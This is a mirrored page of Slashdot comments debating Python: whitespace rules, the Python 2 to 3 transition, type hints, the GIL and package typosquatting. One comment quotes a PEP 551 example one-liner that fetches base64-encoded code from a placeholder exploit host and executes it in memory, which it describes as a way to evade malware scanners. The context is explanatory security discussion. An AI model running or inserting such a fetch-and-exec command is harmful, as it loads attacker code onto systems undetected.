Slashdot Mirror

If you want to write python code then you must study the spaces rules defined as "PEP 8" at https://www.python.org/dev/pep...

If you don't like the spaces rules then you can refuse to learn python and to start looking for another scripting languages.

And apparently, if you don't like the rules of English, you can post your prose as an AC on Slashdot.

If you want to write python code then you must study the spaces rules defined as "PEP 8" at https://www.python.org/dev/pep...

If you don't like the spaces rules then you can refuse to learn python and to start looking for another scripting languages.

They already have one and the world didn't end.

https://www.python.org/psf/cod...

I think MacOS ships with some scripts that require that older version of Python, so it's really there to support the system, not user development.

Then it's an implementation detail of macOS, much as msvcrt.dll is on Windows. In any case, it weakens the claim that Apple ships an environment for running downloadable applications written in mainstream Python.

I still don't get why they didn't make the Python 3 interpreter backward-compatible with a switch at the top of the script.

Currently #!/usr/bin/env python launches the legacy (Python 2) interpreter if installed, and #!/usr/bin/env python3 launches the modern Python interpreter if installed. On Windows, the .py extension is associated with py.exe, a short program that reads the shebang line and execs the appropriate interpreter as defined in PEP 397.

> Users have ended up having to install Xcode in order to use Homebrew in order to use more recent Python.

Nonsense. Installer packages are available (and have been for a long, long time) that don't require any build tools:

https://www.python.org/downloads/mac-osx/

Part of it depends on which GUI library you expect the Python program to use to elicit commands from the user and present results to the user. Out of the box, Python ships with only Tkinter, which can't even handle Unicode code points outside the basic multilingual plane. (See for example bug 30019 and the other bugs that its comment by Terry J. Reedy cites.) I imagine a lot of users would prefer something made with wxWidgets, GTK, or Qt.

MY experience with the Python I run is that one version gives no warning, going up one point release throws multiple fatal errors.

Can you give an example? I'm just not aware of any, and it makes me suspect that what you were running into was an issue in a third-party library (some of which do indeed have a cowboy attitude towards breaking changes - but that's common across all languages).

Maybe that's the thing - one has read the changelogs to see what is deprecated, as opposed to getting a clear deprecation warning from the interpreter/compiler like you would with C, Perl, and other languages?

Like this?

And I have never, ever seen a deprecation warning in C or C++. You have to read the change sections for new standards to see what was deprecated or removed.

If you were still using TP in 97 you were going to have a bad time. I did tons of TP too. Then never touched it again after 94.

Java is not a bad language to learn first on. It has classes, objects, typing. You can get a fairly simple program going fairly quickly. Java is failing so hard now because of two major reasons. Spring and its sweeping 'magical' thinking callback stack and decorators plus Oracle. Oracle is going to kill the goose who laid the golden egg. It has not kicked in (end of the year) yet but once the price of Java goes up dramatically in support cost you will see a ton of businesses switching wholesale to javascript/typescript/node.

These days if *anyone* asks me how to learn to program I give them a copy of python and this link https://docs.python.org/3/tuto... . Most people who can grasp any sort of basic programming can pick it up in a few days. To be good at it you need a few years under your belt. Plus some decent CS classes. There are some who can muddle along without it but will struggle for years with it.

For colleges to still use DOS and TP would be silly. I do not even think you could buy a computer with 3.5 inch drive on it anymore. I suppose you could do some sort of virtualization and a bunch of work. Teach all of your students several useless skills (DOS cmd prompt and TP). OR spin up a linux instance and java/gcc.

Everything else" includes such features as "shit that makes no logical sense", backed by such examples like

With each call to foo(), you are appending 2 to a mutable container created by the def statement. At definition it contains an empty list, after your first call (without argument) the list has one 2 in it, after your second call it has a second 2 ... It makes perfect logical sense once you understand the simple principle that the default value for an argument is instantiated with the def call.

Perhaps after more than a decade and a half of using python, I've simply internalised this, but I wonder, knowing the underlying principle, what behaviour would you expect? (Notwithstanding what someone unfamiliar with that principle might "generally ... intend[]")

A trap for young players perhaps, but such problems as arise are not the result of the "madness" or "idiocy" of the language, but of ignorance (easily cured) of how and when default values are instantiated, as well as grasping the notion of mutability in python (an immensely important notion to grasp). Knowing what you know, means you personally would not make this mistake anymore, surely?

[BTW, your reference is for py2.0 and is badly out of date apropos the way scope is handled (ie, in Programmer's note), cf https://docs.python.org/2.7/re... ]

C is lightning fast and is the tool for when you know what you're doing.

Python is .. for everything else.

"Everything else" includes such features as "shit that makes no logical sense", backed by such examples like:

def foo(x=[]):
        x.append(2)
        return x

print(foo()) = returns [2]
print(foo()) = returns [2,2]

Reference describes this madness in a "soft" tone, while simultaneously admitting its own idiocy:

Default parameter values are evaluated when the function definition is executed. This means that the expression is evaluated once, when the function is defined, and that that same ``pre-computed'' value is used for each call. This is especially important to understand when a default parameter is a mutable object, such as a list or a dictionary: if the function modifies the object (e.g. by appending an item to a list), the default value is in effect modified. This is generally not what was intended. A way around this is to use None as the default, and explicitly test for it in the body of the function

which is when you are supposed to profile to identify your performance bottle necks and write those in a native extension.

Good luck getting your users set up to compile said native extension from the C++ source code that you distribute. Just installing the Build Tools for the version of Microsoft Visual C++ with which a particular minor version of Python 3 for Windows was built was a multi-gigabyte download last I checked.

Python has a Global Interpreter Lock problem that slows down multiprocessing significantly and it hasn't been solved. https://wiki.python.org/moin/G...

"sic" isn't used in the summary, so I assume you are referring to the use in the actual article, https://www.zdnet.com/article/...

the quote is: "I don't ever want to have to fight so hard for a PEP ... and find that so many people despise (sic) my decisions."

The word "despise" seems to be correctly spelled, so it's not clear why it should marked sic. Technically, that's just Latin meaning "thus," (implying correct as written verbatim from the original)-- but since it is correct, there's no particular reason to point that out-- it's not a misspelling.

So, I don't know why the "sic" either.

We're way beyond my tiny area of competence here, but PEP551 https://www.python.org/dev/pep... includes an example:

python -c "import urllib.request, base64;
        exec(base64.b64decode(
                urllib.request.urlopen('http://my-exploit/py.b64')
        ).decode())"

The PEP asserts that sort of thing bypasses (most) malware scanners and file access controls because there is no file written to disk. Could be. The problem from the sys admin point of view is that you (hypothetically) can't just forbid running Python scripts because you have users in accounting, shipping, marketing, etc that need Python in order to do their job. The language is everywhere. And there is no real provision for distinguishing OK Python from malicious Python.

The PEP apparently provides some capability to spot Python scripts doing stuff that seems suspiscious. I'm hazy on how. For details, try the PEP.

Get something working (even if it only is 1% of what the real thing is supposed to do.) put it up on github.com. Make sure the build/test environment works on Linux, because that's where likely contributors are. Tell people about it. If it really is a world-changing idea, someone will care, and may contribute.

I have done a handful of open source projects. I'm convinced some of them are really cool, but they're niche, and it is very rare to get any help. In Startup jargon, they talk about *minimum viable product*. To make something attractive, so others will join, they need to see it as immediately doing something for them. I think you need to get your product to an MVP state before you start trying to get others to help.

If you cannot get working code on your own, then forget it. No-one will even understand what you project is about. Talking, explaining , etc... is very difficult. Show, don't tell applies in software. Getting *something* working also makes you learn a lot about the idea, and explore it and understand it better yourself.

Somebody mentioned bison and yacc. Those are tools that date back to the seventies when DSL's (Domain Specific Languages) were fashionable, they are about 90% of what you need to build a compiler. They have been used to build thousands of DSL's and would very likely be good enough to build an initial product, and you will learn a lot. If you still think it is a good idea after building the initial compiler, then great! Another approach would be to build the compiler in a *easy* language like python. This paper: https://legacy.python.org/work... outlines an approach to doing that.

So those are technical strategies for doing what you want to do. Personally I think inventing a new language is unlikely to be helpful. Programming languages are a means for people to talk to eachother very precisely. They go through exactly the same economic & network effects as human languages, and people are inventing human languages from time to time, and they don't catch on. Examples: Esperanto, or more recently, Toki Pona (https://en.wikipedia.org/wiki/Toki_Pona) proposed in 2001, with 100 fluent speakers in the world! Worse, there are a lot of human languages that are dying off ( https://en.wikipedia.org/wiki/... ) , not necessarily because of any genocide, but instead because the populations are being assimilated into bigger groups. This is just the Network effect (Oscar Meyer effect for North Americans of a certain age.)

Network effect is huge: people learn programming languages because other people already use them and provide libraries of stuff that is already done. Programming languages was a primary area of research in Computer Science in the 70's & 80's, taught formally at school, and there is a lot of literature and dead languages from that time. That seems to have calmed down a bit in recent decades, and the world seems to be converging a bit. There are still hundreds of reasonably popular (even if only in specific niches) languages and it is hard to imagine what *your* language would bring to the table that would be of sufficient value to overcome the massive network effect of introducing a new one.

there are explicitly pedagogical languages like Scratch ( https://en.wikipedia.org/wiki/... ) but the problem with pedagogical languages is that any skills the student acquires, they kind of need to start over with a *real language* at some point, so there needs to be a really big payoff to justify the diversion. The top programming languages ( https://www.tiobe.com/tiobe-in... is one indicator ) are Java/C#, C/C++, and Python. Of those three, python is the obvious first choice in terms of ease of gett

Changing editors can *totally* mess up the whitespace.

Not if you have been following Python's official standard (called PEP 8) and you have been using all spaces. I use vim, and vim has a setting to auto-expand tabs to spaces, plus I use the autoindent, so my code is always correctly indented and I never really need to think about it.

Also, with Python 3, it's no longer just a warning if someone sabotages your white space by inserting some tabs; it's an error. So if someone does somehow sabotage the code by doing some wrong thing with a text editor, that person should find out before ever committing the changes into version control. (And any developer who commits changes without testing them at all is no doubt causing you worse problems than messing up Python whitespace.)

That and the fact that 2.x code can't run virtually unmodified on 3.x interpreters really pisses me off. Perl, for all its warts, just needs

use perl4;

at the top of the file right after the crunchbang and you're good to go with an old as dirt script on the newest interpreters.

Python 2.7 can run Python 2.0 code virtually unmodified. Python 3.x can run a lot of Python 2.x code unmodified, but there are some incompatible changes; the change from Python 2 to 3 was because the Python devs wanted to clean up the language in ways that would break programs. Thus Python 2 and Python 3 are really different languages that happen to be really really closely related.

Ironically many of the incompatible changes from Python 2 to Python 3 were caused by removing language warts. IMHO they succeeded very well; I recommend Python 3 for people who want to learn programming. There are fewer things that are surprising or weird for new programmers. (Example: 1/2 now evaluates to 0.5 rather than 0. Changing type to float was deemed less surprising than the integer division with no remainder behavior of Python 2.x. I agree with this decision, especially as Python has an operator, //, that lets you explicitly ask for integer division with no remainder.)

It's really easy to port Python 2.x code to Python 3.x; the Python devs provided a tool called 2to3 that does a good job. It's reliable: you can count on the code Just Working once it's updated.

It's also easy to port Python 2.x code to a new code file that runs equally well on Python 2.x and Python 3.x (using a library called six). This uses a hacked-up version of 2to3 called modernize (or another one called futurize).

Some people question the decisions made in the change from Python 2 to Python 3, but I'm a full-time Python dev who has been using Python for a decade, and IMHO the changes were really good. They didn't go crazy and make a totally new language, but the changes are worthwhile. (In particular, the Unicode changes all by themselves were worth the hassles.) Python 2 is already a really great language, but Python 3 is even better. And Python 3.6 is both faster and more memory-efficient than any version of Python 2.x. (The earlier versions of Python 3.x had slower performance than Python 2.x so the improvements used to come at a cost. Now it's win/win.)

I hope your rage at the Python 2 / Python 3 incompatibilities won't keep you from checking out Python 3.

Name an editor that can't handle spaces. Simply follow PEP 8 and your problems disappear. You would be amazed how many problems can be solved by gaining a basic level of competence before giving up.

Type hints are cool and all, but there is no intention to actually enforce them and that makes them more akin to documentation than anything else.

For example, the code below is perfectly valid:

def frombulate(x : int) -> int:
    return { 'answer': 42, }

frombulate([ 'A', 'list', 'of', 'strings' ])

The frombulate() function supposedly expects an integer, and claims to return another integer, but is happy to get a list of strings, and return a dictionary.

More importantly why isn't there some gray scale on typing that I could slowly turn on as my program design matures?

You might be interested in type hints in Python.

maybe they are better at spotting a whole different author identity

Good luck with that, as email addresses and author usernames can also be typosquatted, and unless you have the resources of Facebook to bruteforce a hash, key IDs aren't going to be as memorable as "boobies" or "dead beef".

installing urllib, signed by 0xb00b1e5 'original@outlook.com'
# vs.
installing urlib, signed by 0xdeadbeef 'origina1@outlook.com'

I'm more of a Perl guy than Python guy [...] but if the most common non-core modules are developed by a few known authors

Does CPAN have the same situation where "common non-core modules are developed by a few known authors"?

Yet another way to use cryptography, would be to take notice from GPG's web of trust

I imagine OpenPGP's web of trust would have two significant practical problems.

or from PKI's root certificates

Members of the CA/Browser Forum PKI will happily sign a domain-validated certificate for a typosquatted domain.

it could also be useful that pypi.org refuse to automatically open new modules repositories for modules whose name isn't beyond a certain levenstein distance of other name present

This raises an exception I found to Python's batteries-included philosophy: Levenshtein distance comes with one of Python's major competitors, but it's behind an third-party module in Python.

Modern FTP clients and servers support STARTTLS as a command to initiate TLS

Unless the ISP intercepts the STARTTLS command sent by the client and turns it into a garbage command that produces a 502 Method Not Supported response, fooling the client into thinking the server doesn't support TLS. This has happened, Ars Technica has reported on it, and there's even a proof of concept in PyPI. What's FTP's counterpart to HSTS?

For those who are as clueless as the AC noob above you can read PEP8.

Python developers themselves have stated in PEP 394 that /usr/bin/python should *not* be linked to python3. Instead scripts should just use #!env python3 explicitly in the shebang to requestion python 3.x Or python4, or python5, as those generations are some day released.

I think it's Arch linux that changed /usr/bin/python to point to python3, but this is not recommended by any Python developer and horribly breaks things unnecessarily and is incompatible with all other distros. Besides if /usr/bin/python pointed to python3, and if python4 comes along, we'd have to go through all this rubbish again. Explicit in this case is better than implicit.

I wish Python would give you the option of specifying types and let me omit that information only when I want to

Does this do what you want?

This is compounded with Python not having types esp for function args.

Maybe you need to update your Python version. Latest Python supports optional types:

https://docs.python.org/3/libr...

As a Python programmer, I use types and check them before it runs.

So, you perform a totally optional and currently experimental static analysis that may or may not cover most (or even some) of the code, and which doesn't affect the production of the program at all? You seriously think that that sort of thing is what we mean by "type-safety"?

As a Python programmer, I use types and check them before it runs.

Note that you two are not discussing the same kind of "type" here, even though they share a word. Dynamic type systems can be regarded as static type systems where all values have a single type. However, Python has been gaining optional static typing capabilities . See mypy, PEP 483, PEP 484 and also the typing and typeshed) modules.

Note that you two are not discussing the same kind of "type" here, even though they share a word. Dynamic type systems can be regarded as static type systems where all values have a single type. However, Python has been gaining optional static typing capabilities . See mypy, PEP 483, PEP 484 and also the typing and typeshed) modules.

All a project has to do is have a policy that requires using type annotations. Problem solved.

Maybe true but I just say that I write my fair share of Python scripts using multiprocessing and it works for me. That said, if somebody feels like the GIL is truly getting in the way, there is always IronPython and Jython, neither of which have this restriction. I also believe the PyPy team is working feverishly on getting rid of the GIL in their implementation which among other things is much faster than regular Python thanks to just in time compilation. I've used it for a few things and heartily recommend it if speed is of the essence.

More info here for those inclined.

It's still a thing and likely will always be a thing. That said, the multiprocessing module makes writing code that can spin up as many processes as you want and allow them all to communicate is relatively painless.

Besides you're hinting at something like turning documentation into code and that's just frickin' heresy.

Python doctest allows you to write example code in the documentation and then execute the example code as test cases. Useful for simple functions but a bit hairy for complex functions and classes.

LOL - 3 seconds per page! With speeds like that, you're bound to get an offer as a top architect at Google soon, creimer.

I picked up Python when I was working at Google ten years ago. If I ever worked at Google again, I'll probably have to pick up Go.

Because performance isn't built in from the start?

Performance isn't an issue at this stage.

You should be writing unit tests throughout your coding - it's not something you do "at the end."

I'm refactoring one large class with 30 methods into a handful of smaller classes. The new classes require new unit tests. Since the program works, I'm writing documentation for the program and the unit tests.

And that refactoring doesn't include performance improvements?

That's not the focus at this stage.

Because it's more important to write documentation that'll never be read than it is to get your software working.

Program does work (see output from my previous comment). Since type-checking isn't Pythonic, I'll need good documentation to explain why zero as a numeral is acceptable but zero as a literal is not for a function. When the program throws a ValueError exception, you can see what types are documented and correct your mistake.

And you'll solve that, how?

Performance testing on my Red Hat Linux box (quad-core) and gaming PC (eight-core).Threading each page request is something I might try and maybe add to the next version.

https://docs.python.org/3/library/threading.html

How do you escape the comma?

I don't. The csv module handles the details.

The csv module implements classes to read and write tabular data in CSV format. It allows programmers to say, "write this data in the format preferred by Excel," or "read data from this file which was generated by Excel," without knowing the precise details of the CSV format used by Excel. Programmers can also describe the CSV formats understood by other applications or define their own special-purpose CSV formats.

I use the Pelican static website generator for my static websites. I got Python to massage the data and Jinja2 for the template engine. I see no need to us OOP on the backend. If I did, Python can do OOP.

- COBOL is mathematically accurate out to 38 decimals, something no other language was built to do or can do

Bull-fucking-shit.

Here's a document that explains functional concepts in Python. Seems reasonable:to me.

https://docs.python.org/2/howt...

I got my master's degree with this guy, and I had to take a Haskell course, or seminar, every semester. I was, and still am, pretty terrible at Haskell.

However, what I attempted to learn helped my Python out a lot. Map and filter are two of my favorites, and the other functional paradigms are occasionally useful to me as an actually working, productive, programmer. I'm happy I was exposed to those concepts, since they tend to come in handy. Yes, everything is Turing complete, and you can accomplish the same things without functional programming, or without high level language, or without computers, but that doesn't mean they are all equally useful to solving the problem at hand.

I recommend everyone become familiar with functional concepts in some way, if only to make them more well rounded. I don't advocate writing your next web application in Haskell though...

You've been able to use Python for a while in Postgres, MySQL, SQLite, and even DB2.

I can't quite figure out why anybody would want to use Microsoft SQL Server.

Your web site codebase is not written in python3, if you're using Pelican - it's written in fucking Markdown.

Some of the website content is written in Markdown. The rest are in Python data structures that are manipulated by other Python scripts and Jinja2 in the templates..

Great, you can spend the next 20 years maintaining your stupid codebase and never advancing or learning anything new.

Let's plot the evolution of my oldest website: Basic HTML (1997-2002) -> LAMP (2002-2007) -> Joomla! (2008-2011) -> Wordpress (20011-2016) -> Pelican (2016-Present).

And installing python2, making a virtualenv, installing pelican & beginning to publish using the native fabric functionality shouldn't take somebody competent and familiar with python more than the time it requires for their computer to process the commands.

I'm using Python 3 exclusively on my systems. You should get with the program and make the transition.

https://wiki.python.org/moin/Python2orPython3

Fabric3 is a Java container.

No, you dumb twat, the fabric3 under discussion is a python module, as the 'pip3 install fabric3' command would have suggested to you, if you weren't a half-wit with no knowledge of python, and no legitimate reason to be near the business end of a computer.

The only thing I blast to my servers are static web files. I have Python 3, Java and Ant installed on my laptop.

Even easier - install python 2.7 as well, learn to virtualenv to keep your installation repeatable & uncluttered, and use the pelican module out of the box with fabric. You've INVENTED a need for a new tool by specifying requirements that aren't requirements. You didn't HAVE to go install a JDK and Ant, you are not constrained by the version of python already installed on your laptop. Or do yourself one better, vagrant up a centos-based host, and use a proper fucking development machine instead of some half-assed "I'm an IT guy who loves to talk about the right tool for the job, but can't apparently discern what the right tool for a job is, or that the tools I'm already using offer the exact functionality I say I need out of the box."

Which is what I'm already doing for my websites.

Websites = content you publish. All the other shit that you have to download, write, and manage to that end is tooling that serves the goal of publishing your content. If publishing your content can be achieved in these two ways:
1) download a few existing packages, then combine them to use their native functionality to publish your website;
2) download the same few existing packages, then wrap them in a bunch of custom scripting from 2 other tools to replace the native functionality already available to you without the wrapper to publish your website;

Then the proper choice is *always* #1. ALWAYS. Writing a bunch of one-off support scripts that are required to achieve your goal is taking focus away from the goal, and making your environment more complex, harder to debug, and harder to maintain. The net result is that you will spend MORE time on maintenance and dicking around with tools, and LESS time on publishing your websites.

Again - "Not Invented Here syndrome". It's a thing. Look it up.

I feel your confusion. This may be "old school" but I feel it's solid (or has been for me). Start with learning the basic rules.

A lot of people like Python but because most languages use certain characters to enclose blocks of code (and python only uses indents) I would suggest starting with Java or C/C++. Many here will say Python is easier (ruby is probably easiest for many), but your goal will be to have room to grow. You'll find more languages conform to the C/C++ or Java syntax style rules than Python or Ruby. I find it easier to ready than Python myself.

Do yourself a favor and skip VB.net. If you want pure Microsoft (and I would advise against that, would have saved me much grief early in my career) you can do C# and you'll be better prepared for languages with more platforms.

Java, for example you can use in many enterprise system and embedded systems, including Android. C/C++ you can use for robotic controllers, IPhones (objective-c), real-time critical applications (and gaming!!).

Some may suggest starting with scripting languages like PHP, Python or Ruby. there is faster "joy", but I'd sooner suggest starting with MIT's Scratch https://scratch.mit.edu/ (GUI language for teaching children basic of programming). It's a great teaching tool for anyone I think. Hey, it's still valid basics which converts the GUI instructs into 'C'. the reason

I'm so "hung up" on starting with C/C++ or Java is most newer languages take a lot of their cues from the concepts widely used in C/C++/Java. once you learn one of these (especially C++/Java) you can step into any other language out there with relative ease. Some good sites to start would include:

http://lifehacker.com/five-bes...
Note: These are all free or have free options

http://www.learn-c.org/
http://landofcode.com/programm...
https://ocw.mit.edu/courses/el...
https://ocw.mit.edu/courses/el...
https://www.codecademy.com/lea...
http://www.coursera.org/ (real university level courses, a little intimidating at first, but worth it)
http://www.cplusplus.com/doc/t...

For python:
https://www.python.org/

For Ruby:
https://www.ruby-lang.org/en/

the courses as udemy are a little light so I'd only go there for review.

I've given many options here although I've stated my preference. The other advantage to using C/C++ or Java is they make using these invaluable books easier to read:

Writing Solid Code: Microsoft Techniques for Developing Bug-free C. Programs (Microsoft Programming Series) by Maguire, Steve
Code Complete by Steve McConnell


Yes, these books are from MS and old, but I found them invaluable (and I wish MS had actually practice what came from their own publishing companies when writing the code for W2K and XP). Was required reading at one workplace. You'll want to learn about Object-Oriented approaches as well as syntax. It's a lot to take in and this is just the beginning, but it's fun journey. Oh, I would agree, don't bother with Basic. You are better off with Python or Ruby. :D Again, to reduce your learning curve later on, I'd start with C/C++/Java. You'll be glad you did.

Both 2.7 and 3.6 documentation clearly state that you can't have multiple statements in a lambda function definition:
https://docs.python.org/2/refe...
https://docs.python.org/3/refe...

In fact the function body part of the lambda is not a statement at all, but a single expression that becomes the function's return value:
https://docs.python.org/3/refe...

Both 2.7 and 3.6 documentation clearly state that you can't have multiple statements in a lambda function definition:
https://docs.python.org/2/refe...
https://docs.python.org/3/refe...

In fact the function body part of the lambda is not a statement at all, but a single expression that becomes the function's return value:
https://docs.python.org/3/refe...

Both 2.7 and 3.6 documentation clearly state that you can't have multiple statements in a lambda function definition:
https://docs.python.org/2/refe...
https://docs.python.org/3/refe...

In fact the function body part of the lambda is not a statement at all, but a single expression that becomes the function's return value:
https://docs.python.org/3/refe...

Nitpicking, buy it was JPython in 1997
It has been Jython since 1999
https://wiki.python.org/jython...

> I do not know why anybody would even think of using a programming language without static typing.

- Dynamically typed programming languages are more productive when writing smaller quantities of rapidly evolving code.

- It is mainly a library and an ecosystem issue. Python tends to have all the modules I need, while Haskell, OCaml and Scala often don't... and they often seem to be much easier to pick up and use.

For example, Pandas equivalents are much less mature in other ecosystems. On language merits alone, I should be using Scala more than Python, but in practice, Python modules win me over.

I wanted to memoise a function. To look up a module and put in the couple of lines (an import and a decorator) needed to achieve that probably took a couple of minutes in Python, and I was back to the real meat of my code. I would have spent much longer in Java.

Things have likely improved since you last looked at it.

"Biggest weakness - the lack of compile time checks due to strong but dynamic typing continues to be an Achilles heel for any large project. Python (and other scripting languages) just aren't suited for that and we don't use it for that. Use something with static compile-time checking like C# or C++ - yes, after all my kvetching about readability we still use C++ for some things because nothing else fills its niche."

I had thought the annotated variables and mypy resolved this.

Hey, if EAFP worked for Guido van Rossum and his Python Software Foundation, it can work for Microsoft.